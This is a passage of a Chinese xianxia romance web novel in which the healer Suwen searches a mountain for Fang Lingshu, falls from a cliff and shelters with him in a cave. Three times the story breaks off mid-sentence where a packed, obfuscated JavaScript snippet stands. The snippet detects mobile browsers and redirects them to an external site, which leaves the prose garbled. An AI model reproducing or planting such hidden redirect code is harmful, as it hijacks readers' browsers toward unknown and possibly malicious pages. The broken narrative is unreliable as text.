“也有道理。”素问想了想,又道,“虽是个可怜人,但身世并不是他放浪形骸的借口,毕竟他已经比大多数人活得都要好了。” 明月奴嗤笑:“阿姐忒客气了些,他哪是放浪形骸,分明就是倚强凌弱。” 素问随之一笑,道:“罢了,他既不与我们为难,我们也不必再管,最多以后躲着些——我们还是先顾好自己是正经,我准备明日再去一次半钱医馆。” 明月奴道:“阿姐放心去,若是有人上门,我就让他们改日再来,要是急病,我就送他们去半钱医馆。” 素问安顿好医庐的事,次日清晨早早来到前堂,如往常一般先将窗户支起通气,不期然发现凌霄花藤蔓旁的木椅上竟坐着一个人。听见动静,那人转过头来,素问不由惊道:“方医师?” 方灵枢温和一笑,站起身道:“叶医师。” “哎呀!”素问连忙去卸门板,她刚搬开第一块,方灵枢便来到门口,帮着将剩下的门板都拆了。素问站在一边,忍不住问道,“怎么来得这么早?身体怎么样?腿好了么?” 方灵枢点头:“已经好得差不多了。” 素问不信:“伤筋动骨需百日,你怎么会这么快就好?” 方灵枢被戳穿,只能以笑应对。 “先坐罢,外面凉快。”素问扶着方灵枢又回到了凌霄花下,一边念叨,“其实今天我本来也打算要去看你的,没想到你先来了,还来得这样早,是有什么急事么?” “其实无事。”方灵枢见素问在身边坐下,僵直着坐好,手也不知往哪放,话说完才意识到自己说了什么,立刻又找补起来,“是我冒昧。” 素问想起这些时日一个两个都没有理由来找自己的人,觉得有些好笑,问:“你也是来看看我?” 方灵枢一愣:“也?” “对啊,李衙内,还有石小娘子,都是这样。”说到这里,素问猛然想起来,忙问,“你和石小娘子进展如何?” 方灵枢有些无奈:“你真的误会了。” “好,就算是我误会。”素问也不与他争辩,转了话题,道,“那你呢?改变想法了么?可以让我为你治病么?” 方灵枢不解:“你为何如此执着?” “或许是医者仁心。” 方灵枢沉默,片刻之后,摇了摇头。 素问并不意外,直接道:“你认为药圣谷张前辈的遭遇与你有关?” 方灵枢立刻看过来:“你知道了?” “你那么说,我当然会打听清楚。”素问淡淡道,“不管你是无意间提起,还是有意用他的事来吓唬我,我都不会退却。” 方灵枢无奈道:“作为医者,你是不是也应当尊重病人的意愿?” 素问不解:“我是要帮你。” “我明白,但是我不想。”方灵枢声音温和而坚定。 素问呆住。 方灵枢有些懊悔,暗自叹了一声,起身道:“那天你离开后,数日没有消息,我有些担心,所以来看看你,既然医庐一切都好,我就先回去了,过会儿医馆该开张了。” 素问起身送他,心里开始慎重考虑明月奴的提议—— 实在不行,就把他打晕了罢! 其实这次来人间,素问是做了许多准备的,司命星君曾经转述过神界医官的结论,素问据此推演了几套治疗方案,还将可能用上的仙草都带了来,本想见到方灵枢后,好好确认一番便可施治,没想到最后一小步却如此难以迈出。 “阿姐,怎么办?”明月奴探出身子问,他显然听到了两人的对话。 “暂时想不出法子。”素问挫败地进屋,发现桌上放着钱袋,奇道,“你要买什么?” 明月奴支吾道:“药快用完了,也不好总是麻烦图师兄安排,我自己去集市找找。” 素问失笑:“你又不认得药,更加不会甄别好坏了,我去罢。” 明月奴忙道:“那还不如让图南去。” “图师兄不是召之即来、挥之即去的工具,真要说起来,他对我们是有恩的。”素问难得正色,“明月奴,不可再针对他。” 明月奴抿住唇。 素问抓起钱袋,道:“我自己去,买好了直接让商家送来便是。” 明月奴小声道:“我陪你……” “不必了。”素问缓了语气,问道,“你学会了追踪术,下一步有什么打算么?” “唔……”明月奴想了想,道,“狐香还可用于迷惑敌人,不过对修炼者自身心境也有考验,我不确定自己能不能成。” 素问道:“慢慢来,趁着这些天无事,你就在家里好好修炼。” 明月奴重重点头:“我一定认真修炼,只要阿姐不生气。” 素问其实没生气,不过鉴于明月奴与图南的事终归要解决,她便没有解释,只挂了闭店的牌子,照着那个药商留的地址往南市去。 洛阳城共设立三市,其中南市最为繁华,离惠训坊也很近,素问还未去过,好在那家药店很大,只消稍作打听,便能顺利找对地方。 药商记性很好,一见素问便唤“叶医师”,一边遣人引座倒水,一边铺纸墨供素问写药单。素问不愿叫人站在一旁等着,便让药商和小厮都去忙,等身边清净了,她才开始思考买哪些药。先前图南备的草药都很常用,不过依照素问的用药习惯,还是有些欠缺,她增增减减写了片刻,蓦然想起一事,便抬头招呼药商,问道:“这里有新鲜的蒙木花么?” 药商满脸疑惑:“蒙……木?” 素问写下这两个字。 药商摇头:“是在下孤陋寡闻,竟从未听说这味药,叶医师可知此花是何模样?” 蒙木是《山海经》中的神木,原本也该在人间的,但是毕竟距离成书已经太多年,沧海桑田,素问也不敢保证如今人间还有这种树,她想了想,提笔寥寥几笔,将蒙木树的模样简单画了出来,因墨汁只有黑色,她解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061030|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“蒙木树叶形似槐树,花是黄色,你有印象么?” 药商仔细想了半晌,终究还是摇头。 “罢了,那就这些。”素问将药单递过去。 药商立刻带人去清点,过了好一会儿,又匆匆回来,道:“叶医师,有几味药被其他医馆预定了,新的药还在路上,不过明天也该到了,叶医师如果不急,我能不能明日将药送去贵医庐?” 素问很干脆地答应了:“可以,明天一起送便是。” 药商连声感谢,临别又送了几副祛暑药包给素问,让素问不由想起那瓶被遗弃在马车里的祛暑药。心湖被扰动后,素问一路走一路纠结,到了南市街口了,到底还是回头去南市渡口上了船,来到北市租马车的那家店里去打听,不出意外地被告知并未发现此物。 明明是自己不要的,现在发现真的不见了,素问的心里不知为何有些空落落的。不过此事终归是插曲,素问回到家中后,便不再执着于那瓶药,而是开始关注明月奴的修行。 蒙木花是为明月奴而备,他所炼出的狐香可以用于追踪,再进一步,还能迷惑他人心神,也就是明月奴所说的“迷心术”。只是此术初习容易敌我不分,而蒙木花有“食之不惑”的作用,古籍记载是在伊水边,就在洛阳,所以素问才有此一问,没成想如今人间已经没有此物了。 明月奴听完素问的担心,喜笑颜开:“我打牢了根基再去修习,阿姐不要担心。” “也好,而且使人保持清明的药方很多,我多备几样,总归会起作用。”素问嘴上这么安慰彼此,其实心里还是没底,毕竟狐香不是俗物,普通的药恐怕不起作用,自己身上又没带其他仙草。 如果能回一次仙界就好了,或者自己在明月奴学会之前治好方灵枢也可以。 但这两个都不大可能。 次日上午,药商果然如承诺一般将药全数送来,素问结了尾款,正在柜台记账,一抬头,发现药商踌躇着还没走,便问到:“你还有事么?” 药商本有些犹豫,见素问主动问了,索性说出来:“叶医师所说的蒙木花,洛阳附近似乎有。” 素问停了笔,问:“你知道?” 药商便作了解释:原来昨天傍晚,方灵枢也去南市订药草,药商与他闲聊时,顺口提了素问在找蒙木花的事,在方灵枢追问之后,还将蒙木花的特征告知了对方,今早药商去半钱医馆送药时,医馆关着门,是药童孟冬将药收下了,问起来,才知道天刚亮时,方灵枢便背着药筐出门去了。 说到这里,药商挠了挠头,道:“或许方医师是自己采药,从前也有过的,但这几年半钱医馆病人多,他已经很久都不曾出去了,而昨天看方医师的神情,他显然知道蒙木花,所以我想,他会不会去找蒙木了?” 素问瞪大眼睛,脑中转过了好几道念头,纷纷杂杂地缠绕了半晌,才挤出了一句话:“可是他的腿伤还未痊愈。” “可不是么?”药商叹息着摇了摇头,“听说那天受了不轻的伤呢。” 素问怔然。 “待方医师回来,叶医师可前去问询一二,说不定就有那味药了。”药商自觉完成了使命,拱了拱手,道,“在下先回去了。” “慢着!”素问回神,这才发现墨汁滴在了账本上,她顾不上收拾,直接将笔放在了账本上,问道,“你可知方医师去哪里采药了?” 药商道:“应当是伊川旁的九皋山。” 11. 星汉西流(一) 素问有些后悔先前没让明月奴在方灵枢身上留香,偌大一个九皋山里寻一个人谈何容易? 马车在闹市中停停走走,一时半会儿出不了城,也不知方灵枢到哪里了。 明月奴见素问脸色凝重,凑近耳语道:“等出了城,我背着阿姐跑,很快就会到,说不定方医师还没进山。” 素问抿唇点头。 明月奴又补充:“他以前也出去采过药,既然知道九皋山有蒙木花,肯定熟悉地形,而且他是医者,自然会顾好自己的,放心。” “希望是这样。”素问话音刚落,马车蓦然停住。 不等明月奴掀帘查看,便听李重琲在外笑道:“是方医师么?” “不是!”明月奴恶声道,“车夫还不走?!” 可惜车夫明显更忌惮李重琲,非但没有赶马,还让人登上了车辕。李重琲一把掀开车帘,笑道:“我怎么会看错?这不是方医师么?” 素问不禁皱起眉头:“我有急事出城,还请衙内莫要阻拦。” 李重琲道:“我知道是什么‘急事’,实不相瞒,我知道那人去了哪里。” 素问奇怪,问道:“你如何知晓?” “我家奴仆瞧见了,还跟上去保护了,只要叶医师想,我立刻便能引路。”李重琲说着,看了看简陋的马车,“啧啧”两声,道,“还能给叶医师准备上好的马车。” 素问知道李衙内下一句肯定是一些荒唐的要求,直接拒绝:“不必。” “听到了?”明月奴暗自发出一道指风,李重琲仿佛自己没站稳一般落下了马,那阵风未停,直接飞到了马头,马儿立刻往前行去,亏得那些侍从手快,才让李重琲免于被倾轧。 街边少不得有人看热闹,李重琲失了脸面,又遭了惊吓,当即脸拉了下来,他看着马车晃动的背影,咬牙道:“去,将我的疾影牵来!” 明月奴坐在车辕上,一边驱马前行,一边注意着后面的动静,毫不意外地听到了李重琲这不死心的打算,气道:“早知此人如此难缠,当初进城就不该听……”话说到一半,又想起素问的训导,明月奴只得临时改了口,道,“当初进城就应当按原定计划走。” “避不开的。”素问无奈道,“李衙内想找医女,即便当时未曾撞见,事后不见得不会找来,何况那时候方灵枢在他手里。” 明月奴忍不住磨牙。 素问正在想对策,忽然马车又停了下来,她掀开帘子一看,原来是到了城门边,被守卫拦了去路。那守卫前些天进城时向李重琲献策反被踹了一脚,本自惴惴,今日忽然有了戴罪立功的机会,自然牢牢抓住不放,不过他也不敢做得太过,只笑道:“医女小娘子去哪里?不曾听我们衙内说要来送么?” 饶是素问心性平和,见此情形,也忍不住摇头:“堪比闯天关了。” 明月奴咬牙道:“若是我学会了迷心术……” “不是你的问题。”素问安抚地拍了拍明月奴,尔后向守卫道,“我们要去山中采药,九皋山地势险峻,其间还有悬崖峭壁,此时过去,必得过夜,夏日山中毒虫多,深林之中恐怕还有野兽,李衙内还是不去为妙,你觉得呢?” 守卫脸色一凝,想到李重琲如果遭遇危险自己可能会被追究的罪责,心里不由动摇起来。 旁边另一人提醒道:“李衙内上山不见得会遇险,但你现在放了人,他肯定立刻就打死你。” 守卫立刻坚定起来。 就这耽误的片刻功夫,李重琲已经骑着宝驹“嘚嘚”地赶了来,他跑得快,侍从和马车都被远远甩在身后,蓦然独自面对明月奴,那日被扔进河的场景难免在脑中重现。 愤怒和畏惧的情绪一齐上来,迫使李重琲勒住了马,停在了五步之外,一时进也不是,退也不是。 明月奴拿着马鞭指他,怒道:“你到底想做什么?!” 李重琲自然知道不可再说什么求亲的话,不过他脑子转得快,立刻就有了主意:“我想拜叶医师为师!” 这要求在所有人的意料之外,连明月奴都是一怔。 素问有些诧异地掀开窗帘去看李重琲,后者神色庄重,不似玩笑。 明月奴皱起眉,忍不住道:“你又想耍什么花样?” 李重琲见有转圜的余地了,笑眯眯地凑上来,道:“真的,我想拜师学医,只要你答应,我立刻就引路去九皋山帮忙寻人。” 素问暗忖片刻,推测李重琲是想要学成后自行看病,如此也就避免了泄露私隐的隐患,便点头道:“好,我可以收你做徒弟,现在能放行了么?” 李重琲转头向守卫喝道:“瞎了眼?谁让你拦我师父!想死不成?!” 围观的路人发出嘲笑声,这些声音在素问一行人走远后更甚,那守卫脸上红一阵白一阵,然而也不敢多说,只是低垂着的眼睛多少有些藏不住恨意—— 不过是个上不得台面的外室子而已! 这厢李重琲志得意满,疾影昂首行在前列,丝毫不曾察觉自己的行为有何不妥。 明月奴弓腿坐在车辕上,看着李重琲远远的背影,冷笑道:“我听说如今的皇帝是哭来的帝位,而且在进洛阳城前,他曾经答应给每个追随自己的兵士一百缗钱作为奖赏,如今登基之后却又无钱可赏,于是开始搜刮民脂民膏,逼死了不少人,搞得民怨沸腾,钱也没还上。照这些年人间皇帝更替的时间来看,恐怕这位也坐不久,一朝失势后,这个二世祖可怎么活?” 素问道:“若是活不好,那也是他该偿还的。” 明月奴淡淡一笑:“到那时,真想看看他是何神情。” 素问醒神,忙劝道:“他只是个普通的过客,不必太放在心上。” 明月奴哼了一声,过了一会儿,又强调道:“如果他哪天躺在我们医庐门口,阿姐可不要心软救他。” 素问不可能答应这样的要求,但也知道明月奴正在气头上,不必与他辩,因此没有应声。 马车行得不慢,但也差不多花了两个时辰才到九皋山脚下,这期间李重琲时不时策马回来转一圈,最后离得近了,他一鼓作气跑远,等素问下马车时,所见是一人一马正在树下纳凉。 李重琲抱臂靠在树枝上,自诩此情此景该映衬得自己更加风流倜傥,没想到素问只瞥了他一眼,确认了人在,便抬起头,看向了高耸的九皋山。 侍从的马陆陆续续赶到,李重琲自觉没趣,便扔了马鞭,踱到素问身边,问道:“师父在看什么?” 素问看他,反问道:“你的人留标记了么?” “自然。”李重琲笑着说罢,瞟到明月奴的神情,奇道,“你弟弟不舒服?” 素问回头看去,见明月奴脸色苍白,神情也不大好,忙上前把脉,只觉明月奴经脉很乱,好似走火入魔的前兆,惊得她手一抖。 明月奴紧锁着眉头,拉着素问往后退了几步,才感觉好些,他低声解释道:“阿姐,这山上有道士的禁制,我上不去。” “怎么会这样?”素问不解,“先前路上我们不是也在真武观借宿过么?” 明月奴摇头,额间汗珠欲滴。 素问将他扶到马车边,想了想,向李重琲道:“能否借一个人送明月奴回洛阳?” “当然可以!”李重琲一挥手,直接安排了四个人,他自己只留下两个。 明月奴被推上了马车,他有些不放心地探身握住素问的手,道:“阿姐,我在这里等。” “你回去休息好才更重要。”素问语气坚定,说完话便抽身而退,让李家侍从接管了马车。 明月奴咬住唇,默默地看向素问头上那根木簪,纠结片刻,终是放下了帘子,但只肯让一人相送,其余人仍旧留下帮忙找方灵枢。 李重琲看素问面色凝重地盯着隐没在扬尘里的马车,抱着手来到她身边,笑道:“明月奴这会儿倒放心将你交给我了。” 素问回头看过来,面无表情。 李重琲忙放下手,站直了身子,道:“他放心是应该的,我绝不会对师父不敬。” 素问没有多说,只淡淡道:“劳烦引路。” 李重琲也不推脱,当真差人在前面寻找标记。四人初时沿山路前行,虽有些累,但还算顺利,过了半个时辰后,方灵枢忽然走上一条小岔路,没过多远,索性连路也没了,寻标记也要寻半天,眼看着到了傍晚,三个凡人又累又饿,下一个标记没到,先找到了做标记的人。 “你坐在这里干什么?”李重琲瞪着眼睛看侍从,想起自己的大话,脸红到了耳根。 那人垂头不敢说话。 素问迟疑片刻,小声问:“你……跟丢了?” 那人立刻下跪:“属下无能!” 李重琲要发火,素问连忙赶在前面道:“你知道方医师最后往哪个方向去了么?” 侍从小心抬头看向李重琲。 李重琲怒道:“还不快说?!” 侍从连忙答道:“属下在上个点看到方医师往这边来,没想到林子太深,走着走着就不见了人影,也不知往哪个方向去了,不然属下肯定追过去,绝不会坐在这里干等着!” 李重琲没好气地问:“多久以前的事?” “一炷香前。” 素问闭目感知四周,虽不能施法,但近处的细微变化仍可察觉——方圆百步之内确实没有人迹,但南方有微风吹来,带来一阵奇异的花木香气。素问睁眼,喜道:“是蒙木花!” 方灵枢若是来寻蒙木花,或许就在前方。想到此处,素问再不迟疑,快步向前去,她身子轻盈,看上去走得很轻松,李重琲带着侍从跟上去,才发现那些灌木藤蔓有多难缠。 素问很快便到了林子边缘,前方的断崖出现在视野里,一棵形似槐木的大树生在崖边,其上有盛放的黄花,正是素问要找的蒙木树。 蒙木整个躯干斜斜飞出去,悬在断崖上,要想取花十分难,但树根周围杂草上确实有人踩过的痕迹,方灵枢十有八九是来过的。 但是现在确确实实又没人了,素问看着不远处的断崖,有些慌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061031|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我要在凡间治好神尊,应当不会折戟于此……”素问拍着胸口,一面安慰着自己,一面回头去看,只见两个仆从并在一处,肩上抬着李重琲,素问为之一噎,确认了几人无碍,便继续向前,来到了断崖边。 李重琲见状,忙催道:“快!快些走!” 两个侍从连忙加速,一行人出林子时,侍从身上的衣服已经被扯得破破烂烂,李重琲尚且还勉强维持住了体面,不料刚理好衣服往前看,却发现素问毫发无损,甚至还有精力去爬树。 伸出断崖的树。 李重琲大惊,立刻冲上去喊道:“小心!!” 素问正在查看下方是否有坠崖的痕迹,不期然听到这一声喊,她直觉不妙,不等回头,便感觉蒙木树猛地一震,李重琲一脚踩到了蒙木树干上,本就不扎实的根簌簌落下土石,树杈上晃动就更加明显,素问自诩采药多年,能够应对各种突发状况,此时竟然会脚滑,直接从树枝上落了下去。 下一刻,有人抓住了她的手,止住了落势。 崖边的侍从们纷纷吓破了胆,可谓是声嘶力竭了:“衙内——” 李重琲扑在树干上,手脚并用地抱住了树干,腾出的右手紧紧握住了素问。 蒙木树危险地晃了几晃,勉强稳住了。 素问垂头看向下方,倒是没什么畏惧感,李重琲反倒被吓出了冷汗,这会儿正在发愣,思考自己是如何想都没想便到了树上。没等思考出个所以然来,崖边宛如嚎丧的声音生生打断了他,李重琲闭了闭眼,咬牙道:“一群废物!快去寻绳索!” 几个侍从分头行动,有下山的,还有去山顶真武观求助的,留下的一个想要来帮忙,但是看到翘起的树根,心知自己上去压坏了树的可能性要比救到人的可能性大得多,投鼠忌器之下,只能握住树根须,不敢轻举妄动。 李重琲在肩膀上蹭了蹭额间的汗,一低头,却发现素问甚是惬意地在张望风景,好似被山风吹得飘飘荡荡的人不是她一样,李重琲不禁觉得好笑,心也奇异地跟着定了下来,他握紧了手,嘴上调笑道:“叶……啊不,到了如今这个地步,再叫你叶医师就显得生分了——素问,方才我冲上来抓住你的身姿是不是非常潇洒啊?” 素问抬头看他,如实道:“若不是你,我不会掉下来。” 李重琲狡辩:“分明是树扎根不牢,你怪在我身上,是不肯认救命之情了么?” 素问真是佩服李重琲,两人现在这随时会落下去的处境,他竟还有心思讨价还价。 李重琲见素问不答,奇道:“如此奋不顾身,你真的一点感觉都没有?” 素问叹道:“徒弟救师父不应该么?” “不,师徒的那点情分怎么能交付性命?”李重琲图穷匕见,“非得是夫妻,才能同生共死,对不对?” 素问已经懒得再去纠缠这个问题了。 李重琲不敢有大动作,只将手轻轻向上提了提,道:“答应不答应?要是不答应,我可不救你上来了!” 素问果断道:“不答应。” 侍从默默将脸埋入膝间,恨不得自己未生双耳。 李重琲先前还是玩笑的心态,听到素问这么斩钉截铁的拒绝后,好胜心顿起:“为何不答应?是不是因为方灵枢?你进城那天便救了他,还三番两次去他的破医馆,搅得满城人都知道,如今甚至因为要找他而收我为徒,莫非你想嫁给他?!” “你舍身来救我,我很感激,可在下确实身无长物,只有医术傍身,但凡衙内看得上,我一定会倾尽全力相助。”素问语气始终十分平淡,“而且衙内的想法不对,洛阳城民有许多生计问题要考虑,谁会管我一个小小医女的去向?” “如此说来,你确实是想嫁给方灵枢了。” 素问摇头:“我不会成亲。” 李重琲冷笑:“我偏要你嫁我,你能如何?” 素问看着李重琲,认真道:“我不嫁。” “不嫁就把你吊在这里!” 素问沉默。 李重琲咧嘴一笑:“怕了罢?我跟你说,山里既有蛇虫,还有野兽,哪怕什么都没有,饿你个三天三夜,你还能好生下山去不成?” 素问皱起眉头。 李重琲手一松,又立刻握紧,素问往下掉了一寸,李重琲立刻接上威胁:“你瞧,我可是用命在救你,只要你答应,我活着便是你活着,你若是不应……” 素问再次起了回一次仙界的想法,带些药,换个身份,女扮男装更好,而眼下或许正是个金蝉脱壳的好机会,还能顺道去下面找找方灵枢。想到此处,素问打断李重琲,道:“我走后,药圣谷会派人来接管安平医庐。” 李重琲一愣:“何意?” 素问仰头,淡淡一笑:“我的意思是,衙内有所求时,可以去找接手之人,至于我……我的去留与衙内并不相干,你莫要怪罪自己。” 李重琲尚在疑惑,忽然手指一痛,他还没反应过来,素问的手腕已经脱手而去,纤薄的身影像无主的纸鸢一般飘落下去。 12. 星汉西流(二) “宁愿死……也不愿嫁我?”李重琲呆住。 素问不知道自己的举动给李重琲带来了多大的打击,连李重琲本人也没伤怀太久,他们俩很快被同一件事惊得忘记了呼吸—— 在素问挣脱的一刹那,一道青影疾冲而来,毫不迟疑地跟着扑下了断崖。 素问仰面朝上,头发被风吹得胡乱砸在了脸上,她在乱发之中睁大了眼睛,喃喃道:“方灵枢……” 方灵枢面色坚毅,不发一言,头下脚上,凭着姿势的优势追上了素问,他一抓住素问的胳膊,便立刻转向山崖扔出一物,绳索展开,下降的势头猛地一停,素问听到危险的骨骼交错声在上方响起,眼花缭乱之际,方灵枢已经带着她附到了山崖上。 素问第一回感觉到自己的心跳,“嘭嘭嘭”,连着身上所有的筋脉一起沸腾。她呆呆地看着面前的岩石凸起,过了好一会儿,才抬头看向上方,只是脑子太乱,想说的话太过支离破碎,刚刚出口便被山风吹散了。 方灵枢没有听见,他右手牢牢抓着素问,左手被绳索缠着几圈,已经被勒得发紫,但是他不敢动——左边胳膊被拉脱臼了。方灵枢顾不上自己,喘了两口气后,垂头向素问道:“别怕。” 素问看着方灵枢,目光落在他发紫的嘴唇上,而后又移向那双清亮的眼睛,陷入了沉默。 整个山崖寂静得只剩下李重琲的声音在回响:“素问!方、方灵枢!你们怎么样?” “暂时无事!”方灵枢仰头喊道。 “好!好!”李重琲忙道,“我派人去借绳索,你们坚持住!” 素问目测此处到崖顶的距离,心知恐怕一般绳索是下不来的,便开始四处寻找歇脚处,说来也是巧,不远处便有一个山洞。素问道:“方医师,那边有个洞口,我先给你系好绳子,然后一道慢慢移过去。” 方灵枢看不见洞口,但相信素问的判断,便点了点头。 素问从须弥戒里取出捆仙索,因无灵力支持,捆仙索看上去与普通的麻绳并无区别。素问分别将两头系在自己和方灵枢腰上,然后示意方灵枢松手,自行攀在岩石上。方灵枢右手抽出匕首,插在山体中借力,左手这时终于离开了绳索的缠绕,血液在手掌慢慢恢复了流动。 李重琲在上面没了动静,约莫是去寻救兵了,素问和方灵枢之间也几乎没有交流,周遭只剩下了山风和鸟鸣。素问一直关注着方灵枢,随时准备施以援手,不想方灵枢单手虽不便,但匕首削铁如泥,两人一路攀行,竟颇为顺遂。 不知过了多久,他们终于来到了山洞侧上方,素问率先跳了下去,方灵枢紧随其后,落地时伤腿往下一弯,险些单膝跪倒。 素问及时上前扶住,叹道:“方才跑过来便已经牵动旧伤了罢?” “没有。”方灵枢摇头,忽然打了一个寒噤。 素问这才发觉这处山洞有些异常——外间正是暑月,虽然山间本就凉快些,但是凉成初冬就不太合理了。 只是现在不是探查的时候,给方灵枢治伤要紧。 素问扶着方灵枢靠坐在洞壁边,先给他接好手臂,又查看他手上的淤血,道:“先别揉,等会儿我们到山洞里面看看是不是有冰可以敷。”说罢,她将手伸向了伤腿。 方灵枢伸手拦住,温声道:“我自己来。” 素问抬眼看他,两人默然对视片刻,终是素问退却,不过她还是从须弥戒里取出仙界的散瘀水,道:“用这个。” 方灵枢这次不再拒绝,乖乖打开了瓶塞。 素问背过身,看向洞外的广袤天地,脑海中反复回想着方才的情景,一时心里十分复杂,过了片刻,才想起自己竟然不曾道谢,正要开口,却听方灵枢道:“你方才是为了摘蒙木花才踩空了么?” 自然不是,但也不能说是因为李重琲做下的荒唐事,毕竟素问跳下的初衷是想换一个方便行事的身份回来,而不是真的为李重琲所逼迫。素问无言看天,顿了片刻,选择避开这个话题,道:“多谢你来相救。” 方灵枢笑道:“你不是也救过我么?” 素问回头问:“你跳下来……是为了还人情?” 方灵枢一怔,认真想了想,然后摇头:“怎么能这样算呢?你当初救我是一片善意,我今日所为也并无功利之心。当时看到你落下去,我只是想,山崖这么高,你可能会死,其余就什么也不必想了。” “为何不想?”素问不解,“你就没想过自己也会死么?” “不会。”方灵枢笑道,“我在野外采药时,没少上悬崖峭壁,比起摔死,总归还是生还的机会更大。” 素问终于从方才紧张的感觉中抽离出来,她转向方灵枢,抱膝而坐,一手落在膝上,撑着另一只手托腮,问:“对了,你怎么会忽然出现?李衙内说他的人跟丢了你。” “原来是他的人,我道是谁。”方灵枢无奈地摇了摇头,回答素问的问题,“我来找蒙木花,不想此树这两年倒向了断崖,因此去山顶真武观借来绳索,没想到刚下来便撞上了你遇险,还好有道长所赠利器,否则真不敢想象。” 素问了然:“你果然是来找蒙木花,是因为听了药商的话么?” 方灵枢温声道:“刚好要来采药,顺道摘些花。” “你刚上山便来这里,真的是顺道么?” “真的顺道。”方灵枢声调沉稳,耳根却可疑地发红。 素问哪里还不明白?不由垂头忍笑。 方灵枢看着素问微微扬起的嘴角,也露出笑意,转而想起如今的处境,暗自有些后怕,细想起来,还是因为自己没有及时告知,否则素问知道自己来,就不会再来寻蒙木花,也就不会遇险了。 他自然不知道,素问正是因他而来。 两人各怀心思,安静地坐了片刻,忽然听到李重琲的声音从上面传来:“素问——素问——” 素问听他隐隐带着哭腔,猜测他可能以为自己掉下去了,连忙到洞口处回道:“衙内!我在半山腰的山洞里!” 上面立刻沉寂,过了片刻,李重琲恢复了正常的声调喊道:“真武观绳索不够,我先用布条吊一些干粮和水给你们,等我的人去山下买来,便好拉你们上来了!” 素问探出头,夕阳余晖正好落在右脸上,她心知山路不好走,夜里容易出事,便道:“你们去真武观歇一晚,明日天亮后再去买绳救我们上去便是!” 李重琲不愿答应,他身边那位来帮忙的道士点了点头,道:“此话有理,李公子随贫道上山去罢。” “这怎么行?!”李重琲怒道,“半山腰风那么大,天黑了一不小心踏空了怎么办?何况谁知道那是什么洞?里面会不会有虎狼?说不定还有妖怪!” 道士一阵无言,顿了顿,才好声道:“公子放心,依贫道估算,他们应当是落在了半山腰的老君洞,洞里别有一番洞天,肯定不会遇险。” “老君洞?”素问半晌没听到李重琲再回话,目光落在洞里,两人谈论起洞名,不期然听方灵枢提到了这个称呼,奇道,“是太上老君?” 方灵枢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061032|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头:“我以前来采药,时常会在真武观歇脚,里面的小道童与我说过山间奇闻,其中一个便是南崖的老君洞,据说这是太上老君曾经炼丹的地方,留有神火,为了不伤及周遭生灵,老君用冥海冰魄封印了神火,所以此洞即便在酷暑时日也有寒风侵肌。” 素问本来就打算进去找冰,一听这个传说,更加来了兴致:“我进去瞧瞧。” 方灵枢笑道:“等等,我们一道。” 素问有些迟疑:“可是你觉得冷……” “不碍事。”方灵枢行到洞口,扶着洞壁站住,向上面喊道:“李衙内——劳烦送些木柴和火把!” “大热天的要什么木柴!”李重琲十分不满,但还是吩咐侍从去取。很快,干粮火种一并被送了下去,李重琲经道士劝说,已经不再执着于今日便将人救上来,但还是趴着看干粮被顺利送达,记住了老君洞的位置,这才跟着道士往真武观去。 方灵枢先将饼取出来,掰一块递给素问,道:“先吃点,攒足了体力好应对里面的突发情况。” 素问摇头:“我不饿,你吃。” 方灵枢没再坚持,只用油纸包单独包了一些带在身上,以防素问后面饿了,而后自己就着水吃饼,填饱了肚子后,将水粮柴禾整齐地摆在了洞壁旁,这才点燃火把,示意素问一道走。 素问一直饶有兴趣地在一旁看他动作,直到出发了,她才问:“你吃饱了?” 方灵枢赧然点头,道:“久等了。” “不久,就是觉得有些不可思议。” 方灵枢奇道:“哪里奇怪?” 自然是天神转世原来也要以食果腹。素问没有说出来,只问道:“方医师,你以后会去参军么?” 话题转得太快,方灵枢反应了一瞬,才道:“应当不会。” “为何?” 方灵枢笑了笑,反问道:“你为何觉得我会去参军?” 素问抿住唇。 方灵枢没有追问,娓娓道出自己的想法:“我不会去,如今的天下,几乎没有一场为安民而发起的战争,也没有值得追随的君主,也许等到哪天出现了明君,我会去投靠。” “你也可以自己成为明……”素问话音未落,一声雷响轰然传来。 “不是还有太阳么?怎么忽然打雷?”方灵枢有些奇怪地回头看洞口,夕阳虽然已经跟着洞口缩成了一个小点,但黄澄澄的肯定不是要下雨的迹象。 素问觉得自己可能是说了不该说的话,清了清嗓子,道:“或许是阵雨,人间久旱,难得有雨,这样也不错。” 方灵枢也想不到别的解释,道:“希望九皋山外也下雨。” 素问转头去看他,随着两人越来越深入山洞,光线变得十分暗,火光将方灵枢的脸照得棱角分明,看着似乎比平时年长了不少。素问不由道:“我好像知道你长大后是何模样了。” 